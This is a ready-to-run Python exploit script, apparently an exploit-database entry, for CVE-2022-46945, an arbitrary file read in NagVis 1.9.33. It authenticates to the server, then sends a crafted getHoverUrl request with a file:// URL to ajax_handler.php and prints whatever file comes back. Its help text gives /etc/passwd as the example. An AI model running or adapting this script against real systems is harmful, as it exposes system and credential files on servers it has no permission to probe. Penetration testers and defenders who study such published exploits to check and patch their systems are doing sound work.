📄 NagVis 1.9.33 Arbitrary File Read

# Exploit Title: NagVis 1.9.33 - Arbitrary File Read
    # Date: 03/12/2024
    # Exploit Author: David Rodríguez a.k.a. xerosec
    # Vendor Homepage: https://www.nagvis.org/
    # Software Link: https://www.nagvis.org/downloads/archive
    # Version: 1.9.33
    # Tested on: Linux
    # CVE: CVE-2022-46945
    
    import requests
    import argparse
    import json
    from urllib.parse import urljoin
    
    def authenticate(target_url, username, password):
        url = urljoin(target_url, '/nagvis/frontend/nagvis-js/index.php')
        headers = {"User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded"}
        data = {"_username": username, "_password": password, "submit": "Login"}
    
        try:
            response = requests.post(url, headers=headers, data=data)
            if response.status_code == 200 and "Set-Cookie" in response.headers:
                print("[✔] Authentication successful.")
                return response.headers["Set-Cookie"]
            print(f"[✘] Authentication failed. Status code: {response.status_code}")
        except Exception as e:
            print(f"[✘] Request error: {e}")
        return None
    
    def exploit(target_url, session_cookie, file_path):
        url = urljoin(target_url, '/nagvis/server/core/ajax_handler.php')
        headers = {"User-Agent": "Mozilla/5.0", "Cookie": session_cookie}
        params = {"mod": "General", "act": "getHoverUrl", "url[]": f"file://{file_path}"}
    
        try:
            response = requests.get(url, headers=headers, params=params)
            if response.status_code == 200:
                print("[✔] Exploitation successful. File content:\n")
                display_file_content(response.text)
            else:
                print(f"[✘] Exploitation failed. Status code: {response.status_code}")
        except Exception as e:
            print(f"[✘] Request error: {e}")
    
    def display_file_content(raw_response):
        try:
            data = json.loads(raw_response)
            if isinstance(data, list) and len(data) > 0 and isinstance(data[0], dict) and "code" in data[0]:
                content = data[0]["code"]
                # Decodificar escapes de manera segura
                content = content.encode('utf-8').decode('unicode_escape')
                print(content.strip())
            else:
                print("[✘] Unexpected JSON structure.")
        except json.JSONDecodeError as jde:
            print(f"[✘] JSON decoding error: {jde}")
        except Exception as e:
            print(f"[✘] Unexpected error during output processing: {e}")
    
    def main():
        parser = argparse.ArgumentParser(description="Exploit for CVE-2022-46945 (File Read Vulnerability)")
        parser.add_argument("-t", "--target", required=True, help="Target base URL (e.g., http://10.0.2.132)")
        parser.add_argument("-u", "--username", required=True, help="Username for authentication")
        parser.add_argument("-p", "--password", required=True, help="Password for authentication")
        parser.add_argument("-f", "--file", required=True, help="File path to read (e.g., /etc/passwd)")
    
        args = parser.parse_args()
    
        session_cookie = authenticate(args.target, args.username, args.password)
        if session_cookie:
            exploit(args.target, session_cookie, args.file)
    
    if __name__ == "__main__":
        main()